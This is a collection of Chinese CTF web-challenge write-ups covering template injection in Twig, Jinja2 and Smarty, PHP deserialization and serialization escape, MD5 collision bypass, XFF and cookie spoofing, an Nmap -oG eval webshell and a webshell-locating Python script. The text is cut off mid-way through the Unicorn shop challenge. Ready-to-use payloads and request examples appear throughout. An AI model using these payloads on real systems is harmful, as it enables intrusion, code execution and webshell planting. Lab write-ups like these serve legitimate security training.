  • 访问登录页面,输入任意 ID(如123)提交,触发登录流程。

  • 抓包发现,登录后的请求中,Cookie 新增了一个用户可控参数:user=123。

  • 登录成功后,页面显示Hello 123,说明user参数的值被后端直接渲染到了页面中,存在模板注入风险。


  • 步骤 4:验证 Twig 模板注入,发现直接调用被拦截

    验证注入类型:

    修改 Cookie 中的user值为 Twig 模板的特征表达式:

    Cookie: user={{7*7}}

    发送请求后,页面返回49,确认后端使用Twig 模板引擎(若为 Jinja2 模板,会返回7777777,可用于区分)。

    尝试直接调用命令(踩坑):

    直接使用危险函数执行命令:

    Cookie: user={{system('cat /flag')}}

    页面返回What do you want to do?!,说明题目对直接调用system()/exec()等危险函数做了过滤,无法直接执行命令,需要寻找绕过方法。

    步骤 5:构造 Twig 回调注入 Payload

    原理详解:

    Twig 模板引擎提供了registerUndefinedFilterCallback函数,作用是:

    • 注册一个回调函数,当调用不存在的过滤器时,自动执行该回调函数,并将 “过滤器名” 作为参数传入。

    • 我们可以利用这个特性,注册exec()为回调函数,再通过getFilter()调用不存在的 “过滤器”,间接执行系统命令。

    最终 Payload:

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

    • 第一部分:

      {{_self.env.registerUndefinedFilterCallback("exec")}}

      注册回调函数,将 PHP 原生的exec()设为 “未定义过滤器” 的回调。

    • 第二部分:

      {{_self.env.getFilter("cat /flag")}}

      尝试获取名为cat /flag的过滤器(不存在),触发之前注册的回调,将cat /flag作为参数传给exec(),实际执行命令:exec("cat /flag")

    注意:两个 Twig 语句必须放在独立的{{}}中,不能合并,否则会触发语法错误。


    步骤 6:提交 Payload,获取 flag

    正确提交方式(避坑关键):

    不要直接在浏览器开发者工具中修改 Cookie—— 浏览器会自动对 Cookie 值进行 URL 编码,破坏 Twig 语法结构,导致注入失败。必须通过Burp Suite 抓包修改提交:

  • 拦截登录后的请求,修改 Cookie 为:

    Cookie: PHPSESSID=xxx; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

  • 放行请求,响应中会直接输出/flag文件的内容,格式为flag{xxxxxx},复制提交即可通关。

  • 【MRCTF2020】Ezpop

    一、核心一句话

    构造嵌套对象 → 序列化 → URL 编码 = 最终 Payload

    源码:


    二、最简 POP 触发链

    反序列化外层Show

    → __toString

    → 访问不存在属性触发Test::__get

    → 调用Modifier对象触发__invoke

    → include读取flag.php


    三、最简构造代码(复制运行,直接出 Payload)

    <?php
    class Modifier { protected $var = 'php://filter/convert.base64-encode/resource=flag.php'; }
    class Test { public $p; }
    class Show { public $source; public $str; }
    ​
    // 构造嵌套对象
    $outer = new Show();
    $outer->source = new Show();
    $outer->source->str = new Test();
    $outer->source->str->p = new Modifier();
    ​
    // 生成Payload
    echo urlencode(serialize($outer));
    ?>

    四、Payload 怎么来的?

  • 序列化:serialize($outer) 把对象变成字符串

  • URL 编码:urlencode() 处理特殊字符,适配浏览器传参


  • 五、最终可用 Payload

    ?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D


    六、拿 flag 步骤

  • 拼接靶机地址访问

  • 页面得到base64 字符串

  • 解码 base64 → 拿到 flag

  • 【MRCTF2020】PYWebsite


    一、题目基础信息

    • 题目:[MRCTF2020]PYWebsite

    • 考点:前端 MD5 验证绕过、X-Forwarded-For(XFF)IP 伪造

    • 核心目标:绕过前端验证码验证,伪造购买者 IP 获取 flag


    二、解题步骤

    步骤 1:前端验证码绕过

    访问靶机页面,点击BUY IT NOW进入验证页:

  • 查看源码,发现前端验证逻辑:

    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
          if(hex_md5(code) == "0cd4da07c0b280829dc3ea458d655c"){
              // 跳转到flag.php
          }
      }
    }

  • 绕过方式:找到 MD5 值为0cd4da07c0b280829dc3ea458d655c的明文(实际解题中直接使用验证逻辑跳转,无需破解,或直接构造跳转请求)

  • 验证通过后,跳转到flag.php页面,但提示 IP 非购买者,无法直接查看 flag


  • 步骤 2:X-Forwarded-For IP 伪造

  • 页面提示:我已经把购买者的IP保存了,显然你没有购买,且说明除了购买者和我自己,没有人可以看到flag

  • 关键思路:服务器通过X-Forwarded-For请求头判断客户端 IP,我们可以伪造为服务器自身 IP(127.0.0.1)

  • 操作方式:

    • 使用 Burp Suite 拦截对flag.php的请求

    • 添加请求头:X-Forwarded-For: 127.0.0.1

    • 放行请求,页面直接输出 flag


  • 三、关键说明

  • 前端验证绕过:前端 MD5 验证仅作表面校验,真正的 flag 保护在后端 IP 验证,因此无需破解验证码,直接通过跳转逻辑访问flag.php即可

  • X-Forwarded-For原理:服务器通过该请求头获取客户端真实 IP,伪造为127.0.0.1(服务器自身 IP),即可绕过 IP 限制

  • 完整请求示例

    GET /flag.php HTTP/1.1
    Host: 靶机地址
    X-Forwarded-For: 127.0.0.1
    Cookie: …


  • 本题核心操作:在请求flag.php时添加X-Forwarded-For: 127.0.0.1请求头,即可直接获取 flag。

    [安洵杯 2019]easy_web


    一、题目基础信息

    项目详情
    题目来源 安洵杯 2019 / BUUCTF Web 题
    核心考点 MD5 强比较绕过、命令执行过滤绕过、参数传递逻辑
    目标 绕过双重验证,执行系统命令读取 flag 文件
    关键请求 POST /index.php,GET 参数img+cmd,POST 参数a+b


    二、核心逻辑与漏洞点拆解

    1. 后端流程还原

    结合请求 / 响应,可还原题目核心逻辑:

  • 第一层验证:MD5 强比较

    if ($_POST['a'] != $_POST['b'] && md5($_POST['a']) == md5($_POST['b'])) {
      // 验证通过,进入下一步
      include($_GET['img']);
      system($_GET['cmd']);
    } else {
      die("验证失败");
    }

    • 要求:$a和$b内容不同,但 MD5 值相同(强比较绕过)。

    • 作用:作为权限校验,只有绕过后才能执行后续命令。

  • 第二层:命令执行

    验证通过后,直接将$_GET['cmd']传入system()执行,读取/flag文件。

  • 2. 关键绕过点分析

    (1)MD5 强比较绕过

    PHP 中md5()函数处理字符串时,会将以0e开头的数值字符串解析为科学计数法,且0e123和0e456的 MD5 值均为0,会被视为相等。题目中使用了经典的碰撞对:

    • a=QNKCDZO,b=240610708(两者 MD5 值均为0e830400451993494058024219903391)。

    (2)命令执行绕过

    • 直接使用sort /flag命令读取文件:sort会按行排序输出文件内容,不受cat/more等过滤影响。

    • 无需额外绕过,直接执行即可获取 flag 内容。


    三、完整 Payload 构造

    1. 请求结构

    请求部分参数说明
    GET URL ?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flag img参数为题目过滤要求(可使用无意义值,如示例中的乱码),cmd为执行命令
    POST 数据 a=QNKCDZO&b=240610708 MD5 碰撞对,绕过强比较验证

    2. 实际请求示例

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qY&cmd=sort%20/flag HTTP/1.1
    Host: fd8f1a07-bcb5-4177-b6f2-f4590c6180fd.node5.buuoj.cn:81
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 393
    ​
    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&
    b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    ​


    四、响应结果与 flag 提取

    请求提交后,后端执行流程:

  • a和b通过 MD5 强比较验证;

  • 执行sort /flag命令,读取/flag文件并按行输出;

  • 响应中直接返回文件内容,包含 flag:

    flag{63bbab87-a387-4a2b-a84e-2f29726863c1}

  • [WesternCTF2018] shrine


    一、题目信息

    • 题目来源:WesternCTF2018

    • 核心考点:Flask SSTI(服务端模板注入)、黑名单过滤绕过、Flask 应用配置读取

    • 题目特点:首页直接返回完整源码,flag 存储在 Flask 应用的config字典中,通过两层过滤限制直接读取


    二、源码审计

    import flask
    import os
    ​
    app = flask.Flask(__name__)
    app.config['FLAG'] = os.environ.pop('FLAG') # flag核心位置:app.config['FLAG']
    ​
    # 显示源码
    @app.route('/')
    def index():
      return open(__file__).read()
    ​
    # SSTI注入入口
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
      # 过滤1:将所有括号()替换为空,禁止函数调用
      def safe_jinja(s):
          s = s.replace('(', '').replace(')', '')
          # 过滤2:黑名单禁止直接使用config和self关键字
          blacklist = ['config', 'self']
          return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    ​
      return flask.render_template_string(safe_jinja(shrine))
    ​
    if __name__ == '__main__':
      app.run(debug=True)

    关键源码解读

  • flag 位置:app.config['FLAG'],flag 从环境变量中取出,存入 Flask 应用的全局配置字典

  • 注入入口:/shrine/<path:shrine>路由,用户输入的shrine参数会被直接渲染为 Jinja2 模板

  • 两层过滤机制

    :

    • 括号过滤:所有(和)会被替换为空,禁止任何带括号的函数 / 方法调用

    • 关键字过滤:将config和self设为None,禁止直接访问这两个核心对象


  • 三、过滤绕过思路

    1. 可用的全局内置函数(无括号、不在黑名单)

    Flask 模板中默认注入了多个全局函数,其中 url_for和get_flashed_messages() 未被过滤,且可以通过它们的__globals__属性访问全局命名空间。

    2. 核心利用链

    用户输入 → 模板渲染 → 调用url_for → 访问url_for.__globals__ → 获取current_app → 访问current_app.config → 读取FLAG

    • url_for.__globals__:包含当前模块的所有全局变量

    • current_app:Flask 的全局变量,指向当前运行的应用实例

    • current_app.config:应用的全局配置字典,包含我们需要的FLAG


    四、解题流程

    步骤 1:验证 SSTI 漏洞存在

    访问以下 URL,验证模板注入生效:

    http://你的靶机地址/shrine/{{7*7}}

    • 正常响应:页面返回49,说明 Jinja2 模板成功执行了算术运算,SSTI 漏洞存在

    步骤 2:获取全局命名空间

    通过url_for.__globals__查看当前模块的所有全局变量,确认current_app存在:

    http://你的靶机地址/shrine/{{url_for.__globals__}}

    • 响应中会显示大量全局变量,其中包含'current_app': <Flask 'app'>,说明可以通过它访问应用实例

    步骤 3:读取应用配置,获取 flag

    通过current_app.config读取完整配置字典,其中包含FLAG键:

    http://你的靶机地址/shrine/{{url_for.__globals__['current_app'].config}}

    • 响应中会显示完整的配置信息,直接找到'FLAG': 'flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}'即可


    五、最终可用 Payload

    /shrine/{{url_for.__globals__['current_app'].config}}

    [安洵杯 2019] easy_serialize_php

    一、题目信息

    • 题目来源:安洵杯 2019

    • 核心考点:PHP 反序列化字符串逃逸、extract变量覆盖、任意文件读取、关键词过滤绕过

    • 题目难度:中等(坑点极多,新手容易卡壳)

    • 最终 flag:flag{02fa16d8-4273-4ccb-890e-718e43ff2578}


    二、核心源码审计

    <?php
    $function = @$_GET['f'];
    ​
    // 核心过滤函数:将关键词全局替换为空,产生字符串逃逸的根源
    function filter($img){
      $filter_arr = array('php','flag','php5','php4','fl1g');
      $filter = '/'.implode('|',$filter_arr).'/i';
      return preg_replace($filter,'',$img);
    }
    ​
    if($_SESSION){
      unset($_SESSION);
    }
    ​
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    extract($_POST); // 变量覆盖:POST参数直接覆盖SESSION
    ​
    // 序列化后过滤
    $serialize_info = filter(serialize($_SESSION));
    ​
    // 利用点:反序列化后读取文件
    if($function == 'show_image'){
      $userinfo = unserialize($serialize_info);
      echo file_get_contents(base64_decode($userinfo['img']));
    }

    关键代码解读

  • filter函数:将php、flag等关键词全局替换为空,是产生序列化字符串逃逸的核心

  • extract($_POST):POST 提交的键值对会直接覆盖已有的$_SESSION变量

  • show_image路由:反序列化经过过滤的 SESSION 数据,然后读取img键对应的 base64 编码文件内容

  • flag 位置:存储在auto_append_file指定的 PHP 文件中,直接访问会被执行,看不到源代码


  • 三、漏洞原理:PHP 序列化字符串逃逸

    1. 序列化格式

    PHP 序列化字符串的格式为:类型:长度:值,反序列化时严格按照长度读取内容。

    a:2:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";}

    2. 逃逸原理

    当序列化后的字符串经过filter函数处理后,关键词被替换为空,导致字符串实际长度变短,但反序列化时仍会按照原长度读取,从而产生字符串逃逸,可以注入新的键值对。

    3. 本题的逃逸计算

    • 我们构造键名flagphp,原长度为 7 个字符

    • 经过filter过滤后,flag(4 个字符)和php(3 个字符)被替换为空,键名变成空字符串,长度为 0

    • 多出来的7 个字符空间正好可以用来注入新的键值对

    • 用s:6:"mochu7";作为填充,正好占 7 个字符,完美匹配逃逸空间


    四、完整解题流程

    步骤 1:获取 flag 文件名

    访问/index.php?f=phpinfo,在 phpinfo 页面中找到auto_append_file配置项,其值就是 flag 的文件名。

    • 常见文件名:d0g3_f1ag.php、d0g3_fllllllag.php(不同靶机实例可能不同)

    步骤 2:将 flag 文件名进行 base64 编码

    # 对应d0g3_fllllllag.php
    base64_encode("d0g3_fllllllag.php") = L2QwZzNfZmxsbGxsbGFnLnBocA==
    ​
    # 对应d0g3_f1ag.php
    base64_encode("d0g3_f1ag.php") = ZDBnM19mMWFnLnBocA==

    步骤 3:构造最终 Payload

    _SESSION[flagphp]=s:6:"mochu7";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFnLnBocA==";

    步骤 4:发送请求获取 flag

  • 打开 HackBar,Load URL 填:

    http://你的靶机地址/index.php?f=show_image

  • 勾选Post data,粘贴上面的 Payload

  • 点击Execute发送请求

  • 看到 flag

  • [BSidesCF 2019] Kookie


    一、题目信息

    • 题目来源:BSidesCF 2019

    • 核心考点:Cookie 身份验证绕过、客户端身份伪造、未授权访问

    • 题目难度:入门级(CTF Web 入门必做题)

    • 题目特点:服务器完全信任客户端提交的 Cookie,无任何后端身份验证,只需修改 Cookie 即可直接以管理员身份登录


    二、页面信息与漏洞分析

    1. 页面关键提示

    • 明确提示:Login as admin!

    • 存在两个普通账户:cookie和monster

    • 只有一个登录表单,需要输入用户名和密码,但密码完全不需要

    2. 核心漏洞原理

    这道题是最经典的客户端身份验证漏洞:

    • 服务器通过 Cookie 中的username字段来判断当前登录用户的身份

    • 没有对 Cookie 的真实性进行任何后端验证(如签名、加密、数据库校验)

    • 攻击者可以直接修改客户端 Cookie 中的username值为admin,欺骗服务器认为自己是管理员

    三、完整解题流程

    Burp Suite 抓包修改

  • 打开 Burp Suite,开启代理,浏览器设置代理指向 Burp

  • 刷新靶机页面,Burp 会捕获到请求

  • 在请求头中找到

    Cookie

    字段,添加:

    username=admin;

    Cookie: username=admin; 其他原有Cookie

  • 点击「Forward」发送请求

  • 步骤 4:刷新页面获取 flag

    修改完 Cookie 后,刷新页面,会直接显示登录成功的提示,flag 就在页面上:

    Congratulations! You're logged in as admin! Your flag is: flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

    [网鼎杯 2020 朱雀组] Nmap 解题笔记

    • 题目来源:网鼎杯 2020 朱雀组

    • 核心考点:Nmap 命令注入、-oG文件写入、PHP 短标签 / 一句话木马绕过、WAF 过滤、Nmap 输出转义 / 换行问题

    • 题目难度:中等偏上(坑点极多,新手极易卡壳)

    • 关键提示:页面源码注释直接给出 <!– flag is in /flag –>,目标明确


    二、核心漏洞原理

    1. 后端逻辑

    <?php
    $host = $_POST['host'];
    // 仅对输入做了简单转义,未过滤Nmap命令行选项
    $host = escapeshellarg($host);
    // 执行Nmap扫描,使用-oX默认输出XML
    system("nmap -Pn -T4 -F –host-timeout 1000ms -oX xml/$rand.xml " . $host);
    ?>

    2. 核心漏洞点

    • Nmap 命令注入:Nmap 支持-oG(Grepable 输出)选项,可将扫描结果写入任意文件

    • 文件写入 + 代码执行:写入.phtml后缀的文件,可被 PHP 解析器执行

    • WAF 过滤:对<?php关键词有拦截,需用短标签或一句话木马绕过

    • 转义 / 换行问题:Nmap 的-oG输出会自动添加反斜杠转义,且长命令会自动换行,破坏单行代码语法


    三、完整解题流程

    步骤 1:构造一句话木马 Payload

    你最终成功使用的 Payload:

    host=' <?= @eval($_POST[7]); ?> -oG mc.phtml '

    • 前后单引号:闭合escapeshellarg添加的单引号,突破命令执行限制

    • <?=:PHP 短标签,绕过 WAF 对<?php的拦截

    • @eval($_POST[7]);:一句话木马,抑制错误输出,即使有多余字符也能执行

    • -oG mc.phtml:将扫描结果写入mc.phtml文件,后缀为.phtml可被 PHP 解析

    步骤 2:提交 Payload,写入 webshell

  • 回到扫描页面,在输入框中粘贴上面的 Payload

  • 点击「Scan」按钮,等待扫描完成(会显示Host maybe down,属于正常现象)

  • 此时mc.phtml已被成功写入服务器根目录

  • 步骤 3:连接 webshell,执行命令获取 flag

  • 打开 HackBar,Load URL 填:

    http://你的靶机地址/mc.phtml

  • 勾选

    Post data

    ,输入:

    7=system('cat /flag');

  • 点击

    Execute

    发送请求,页面会直接显示完整的 flag:

    flag{248edd2f-3c09-4d6b-b2a2-e4e336eba0a2}

  • [NPUCTF2020] ReadlezPHP 解题笔记


    一、题目信息

    • 题目来源:NPUCTF 2020

    • 核心考点:PHP 反序列化漏洞、变量函数调用、assert 注入、phpinfo 敏感信息泄露

    • 题目难度:中等

    • 关键提示:flag 不在文件系统中,而是隐藏在phpinfo()的环境变量里,需要通过反序列化调用 phpinfo 获取


    二、核心源码审计

    找到这个可以文件,进行访问

    通过time.php?source获取到完整源码:

    <?php
    #error_reporting(0);
    class HelloPHP
    {
      public $a;
      public $b;
      public function __construct(){
          $this->a = "Y-m-d h:i:s";
          $this->b = "date";
      }
      public function __destruct(){
          $a = $this->a;
          $b = $this->b;
          echo $b($a);
      }
    }
    $c = new HelloPHP;
    ​
    if(isset($_GET['source'])){
      highlight_file(__FILE__);
      die(0);
    }
    ​
    @$ppp = unserialize($_GET["data"]);
    ?>

    关键代码解读

  • unserialize($_GET["data"]):直接反序列化用户可控的data参数,且反序列化过程不会调用__construct()构造方法,可以直接控制$a和$b的值

  • __destruct()析构方法:在对象销毁时执行,核心逻辑为echo $b($a);,即把$b当作函数名,$a当作参数,执行变量函数调用

  • $_GET['source']:查看源码的入口,确认了漏洞点的存在


  • 三、漏洞原理

    1. 变量函数调用执行任意代码

    PHP 中支持$函数名($参数)形式的变量函数调用,本题中:

    • 我们可以通过反序列化控制$b为任意 PHP 函数名

    • 控制$a为该函数的参数,实现任意代码执行

    2. 为什么用assert而不是eval?

    • eval()不能以变量函数的形式调用(即$b='eval'; $b($a);会报错)

    • assert()可以接收字符串形式的 PHP 代码作为参数,会自动解析并执行(如assert("phpinfo()");会直接执行phpinfo())

    • 因此assert是本题唯一可用的执行任意代码的函数

    3. flag 的隐藏位置

    phpinfo()页面会泄露服务器的环境变量,题目中的 flag 被直接写入了环境变量中,通过调用phpinfo()即可直接看到 flag


    四、完整解题流程

    步骤 1:获取源码

    访问time.php?source,查看完整源码,确认反序列化和变量函数调用漏洞。

    步骤 2:构造反序列化 Payload

    根据源码,我们需要构造一个HelloPHP对象,其中:

    • $a的值为"phpinfo()"(要执行的代码)

    • $b的值为"assert"(执行函数)

    序列化后的 Payload:

    O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

    步骤 3:发送请求,触发漏洞

    构造 URL:

    http://你的靶机地址/time.php?data=O:8:"HelloPHP":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

    访问该 URL,会直接触发assert("phpinfo()");,执行phpinfo()。

    步骤 4:在 phpinfo 中找到 flag

    在phpinfo()页面中,找到Environment Variables部分,其中FLAG环境变量的值就是题目 flag:

    flag{13e240b1-4438-4e88-9e34-169df2026184}

    [CISCN2019 华东南赛区] Web11 解题笔记


    一、题目信息

    • 题目来源:CISCN2019 华东南赛区

    • 核心考点:Smarty 模板注入(SSTI)、X-Forwarded-For(XFF)请求头污染、HTTP 请求头可控输入漏洞

    • 题目难度:入门级(经典的 SSTI 入门题,适合学习模板注入的基础利用)

    • 关键特征:页面底部显示Build With Smarty!,明确使用 Smarty 模板引擎;IP 地址回显功能直接受X-Forwarded-For请求头控制,且未做任何过滤,存在直接注入点。


    二、核心漏洞原理

    1. 什么是 Smarty 模板引擎?

    Smarty 是 PHP 生态中最流行的模板引擎之一,使用{{ … }}作为模板标签,支持变量渲染、逻辑控制和函数调用。当用户可控的输入被直接传递给 Smarty 模板引擎解析时,就会产生服务端模板注入(SSTI)漏洞,攻击者可以构造恶意模板语法执行任意 PHP 代码或系统命令。

    2. 为什么X-Forwarded-For头会导致注入?

    X-Forwarded-For是 HTTP 扩展请求头,用于标识请求的真实客户端 IP。这道题的后端逻辑是:

  • 读取请求头中的X-Forwarded-For值,作为 “当前 IP 地址”

  • 直接将这个值传递给 Smarty 模板引擎渲染,输出到页面上

  • 没有对 XFF 头的值做任何过滤或转义

  • 这就意味着:我们完全控制了传递给模板引擎的输入,可以直接构造恶意模板语法,触发 SSTI 漏洞。

    3. Smarty 模板注入的基础语法

    语法作用示例
    {{1+1}} 执行 PHP 表达式 执行后输出2,验证漏洞是否存在
    {{system("命令")}} 调用system()执行系统命令 {{system("ls")}}执行 ls 命令
    {{phpinfo()}} 调用 PHP 内置函数 直接输出 phpinfo 页面

    三、完整解题流程

    步骤 1:识别模板引擎与注入点

  • 访问靶机页面,底部显示Build With Smarty!,确认使用 Smarty 模板引擎

  • 观察页面的Current IP回显功能,修改请求头中的X-Forwarded-For值,IP 会跟着变化,说明 XFF 头是可控输入点

  • 步骤 2:验证 SSTI 漏洞

    构造请求头,验证漏洞是否存在:

    X-Forwarded-For: {{1+1}}

    发送请求后,页面显示的Current IP从真实 IP 变成了2,说明模板引擎成功执行了1+1,漏洞存在。

    步骤 3:执行系统命令,读取 flag

    直接使用system()函数读取 flag 文件:

    X-Forwarded-For: {{system("cat /flag")}}

    发送请求后,页面响应可能是空白的,需要按Ctrl+U查看网页源代码,flag 会被直接输出在页面的 HTML 源码中。


    四、完整 Payload

    1. 漏洞验证 Payload

    GET / HTTP/1.1
    Host: 你的靶机地址
    X-Forwarded-For: {{1+1}}

    • 预期结果:页面显示的 IP 变为2

    2. 读取 flag 的最终 Payload

    GET / HTTP/1.1
    Host: 你的靶机地址
    X-Forwarded-For: {{system("cat /flag")}}

    • 预期结果:按Ctrl+U查看源码,可直接看到flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

    [强网杯 2019] 高明的黑客


    一、题目信息

    • 题目来源:强网杯 2019

    • 核心考点:网站源码泄露、PHP 一句话木马爆破、assert注入漏洞、多文件暴力枚举

    • 题目难度:中等(难点在于 3000 + 文件的木马定位,以及变形 assert 注入的利用)

    • 关键提示:页面直接给出源码压缩包www.tar.gz,所有 PHP 文件中藏有一句话木马,可通过 GET 参数触发命令执行。


    二、核心漏洞原理

    1. 源码泄露与木马藏匿

    题目直接公开了网站源码,解压后包含 3000 + 个 PHP 文件,其中部分文件是变形的 assert 注入木马,典型代码如下:

    assert($_GET['xd0UXc39w'] ?? '');

    • assert():PHP 中可将字符串作为代码执行的函数,功能类似eval(),但可以作为变量函数调用,部分场景下不会被disable_functions完全禁用

    • 变形特征:参数名、变量名均为无意义的随机字符串,无明显的eval/system关键词,难以被静态扫描或 WAF 识别

    • 空值合并?? '':防止参数未传入时报错,保证木马正常运行

    2. assert 注入漏洞

    木马的核心利用逻辑:

  • 接收 GET 参数传入的字符串

  • 直接将字符串作为 PHP 代码交给assert()执行

  • 传入系统命令字符串(如cat /flag),即可实现任意命令执行


  • 三、完整解题流程

    步骤 1:获取并解压源码

  • 访问靶机页面,下载www.tar.gz源码压缩包

  • 解压后得到包含 3000 + 个 PHP 文件的源码目录

  • 步骤 2:分析木马特征

    从源码中可识别出木马的关键特征:

    • 使用assert()执行代码

    • 输入来自$_GET/$_POST超全局变量

    • 参数名是无意义的随机字符串

    • 存在错误抑制语法(?? ''、@)

    步骤 3:编写 Python 脚本爆破木马文件与参数

    由于文件数量过多,手动遍历效率极低,需编写多线程脚本,遍历所有 PHP 文件,测试每个文件的 GET 参数,验证是否存在注入:

    import os
    import requests
    import re
    import threading
    import time
    print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
    s1=threading.Semaphore(100) #这儿设置最大的线程数
    filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
    os.chdir(filePath) #改变当前的路径
    requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
    files = os.listdir(filePath)
    session = requests.Session()
    session.keep_alive = False # 设置连接活跃状态为False
    def get_content(file):
      s1.acquire()
      print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
      with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
              gets = list(re.findall('\\$_GET\\[\\'(.*?)\\'\\]', f.read()))
              posts = list(re.findall('\\$_POST\\[\\'(.*?)\\'\\]', f.read()))
      data = {} #所有的$_POST
      params = {} #所有的$_GET
      for m in gets:
          params[m] = "echo 'xxxxxx';"
      for n in posts:
          data[n] = "echo 'xxxxxx';"
      url = 'http://127.0.0.1/src/'+file
      req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
      req.close() # 关闭请求 释放内存
      req.encoding = 'utf-8'
      content = req.text
      #print(content)
      if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
          flag = 0
          for a in gets:
              req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
              content = req.text
              req.close() # 关闭请求 释放内存
              if "xxxxxx" in content:
                  flag = 1
                  break
          if flag != 1:
              for b in posts:
                  req = session.post(url, data={b:"echo 'xxxxxx';"})
                  content = req.text
                  req.close() # 关闭请求 释放内存
                  if "xxxxxx" in content:
                      break
          if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
              param = a
          else:
              param = b
          print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
          print('结束时间: ' + time.asctime(time.localtime(time.time())))
      s1.release()
    ​
    for i in files: #加入多线程
      t = threading.Thread(target=get_content, args=(i,))
      t.start()
    ​

    步骤 4:执行脚本,定位可利用文件

    脚本运行后,会找到目标木马:

    • 木马文件:xk0SzyKwfwz.php

    • 可利用参数:Efa5BVG

    步骤 5:构造 Payload,执行命令获取 flag

    构造 URL,执行cat /flag命令:

    http://你的靶机地址/xk0SzyKwfwz.php?Efa5BVG=cat /flag

    访问该 URL,即可直接输出 flag 内容。

    [ASIS 2019] Unicorn shop


    一、题目基础信息

    项目详情
    题目来源 ASIS 2019 Web 题
    核心考点 Unicode 数字字符绕过(单字符输入限制 + 后端数值校验)
    题目目标 购买价格为 1337.0 的商品 ultra unicorn,获取 flag
    关键限制 购买表单的 Price 输入框仅允许输入 1 个字符,无法直接输入多位数金额


    二、题目环境与初始信息拆解

    1. 页面功能与商品列表

    打开靶机页面后,可看到一个独角兽商店,共 4 个商品,核心信息如下:

    Item IDPrice商品名称
    1 2.0 black and white unicorn
    2 5.0 unicorn family
    3 8.0 warrior unicorn
    4 1337.0 ultra unicorn(目标商品,购买后出 flag)

    页面下方的Purchase Unicorn表单,用于提交购买请求:

    • 输入框 1:Item ID(选择商品)

    • 输入框 2:Price(支付金额)

    • 按钮:Purchase!(提交请求)

    2. 源码审计:干扰项与关键提示

    查看页面源码,有两个容易踩坑的点:

    <!– We still have some surprise for admin.password–>

    • 很多人会被这段注释误导,去访问admin.password路径,但返回内容为空,这是纯干扰项,无任何实际作用。

    • 源码无其他隐藏后门或提示,核心逻辑在表单提交的后端校验中。


    三、踩坑复盘:常见错误与失败原因

    坑 1:直接修改前端限制,提交1337

    很多人第一反应是:“既然是前端限制,直接改 HTML 的maxlength或者 JS 不就行了?”

    • 操作:把Price输入框的maxlength=1改成maxlength=10,输入1337提交

    • 结果:请求被拦截,提示操作失败

    • 原因:前端限制只是第一层校验,后端也有严格的数值校验,且可能存在 WAF 或请求长度过滤,修改前端限制无法绕过后端逻辑。

    坑 2:修改商品 ID / 价格,尝试 “作弊”

    • 操作 1:输入

      Item ID=4

      ,

      Price=1

      提交

      • 结果:提示Wrong commodity!(商品错误)

      • 原因:后端会校验Price是否匹配商品价格,1 < 1337,金额不足支付目标商品。

    • 操作 2:输入

      Item ID=1

      ,

      Price=2

      提交

      • 结果:提示Wrong commodity!

      • 原因:商品 1 的价格是2.0,后端校验时,字符串"2"与"2.0"不匹配,或强类型校验不通过。

    坑 3:尝试特殊字符 / 科学计数法绕过

    • 操作:输入1e4(科学计数法,数值 10000),但长度为 3,被前端拦截

    • 操作:输入0x1(十六进制),长度为 2,被前端拦截

    • 结论:这类方法都无法满足 “1 个字符” 的限制,彻底失效。


    四、核心原理深挖:为什么 Unicode 字符能绕过?

    1. 前端限制的本质

    前端的Only one char(?) allowed!限制,是基于字符长度的校验,逻辑类似:

    document.getElementById('price').addEventListener('input', function(e) {
      if(this.value.length > 1) {
          alert("Only one char(?) allowed!");
          this.value = this.value.slice(0,1);
      }
    });

